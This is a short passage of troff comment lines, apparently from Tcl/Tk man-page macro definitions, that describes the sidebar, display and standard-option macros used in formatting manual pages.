'\" .VS ?version? ?br?
'\"	Begin vertical sidebar, for use in marking newly-changed parts
'\"	of man pages.  The first argument is ignored and used for recording
'\"	the version when the .VS was added, so that the sidebars can be
'\"	found and removed when they reach a certain age.  If another argument
'\"	is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\"	End of vertical sidebar.
'\"
'\" .DS
'\"	Begin an indented unfilled display.
'\"
'\" .DE
'\"	End of indented unfilled display.
'\"
'\" .SO
'\"	Start of list of standard options for a Tk widget.  The
'\"	options follow on successive lines, in four columns separated
'\"	by tabs.
'\"
'\" .SE
'\"	End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName ...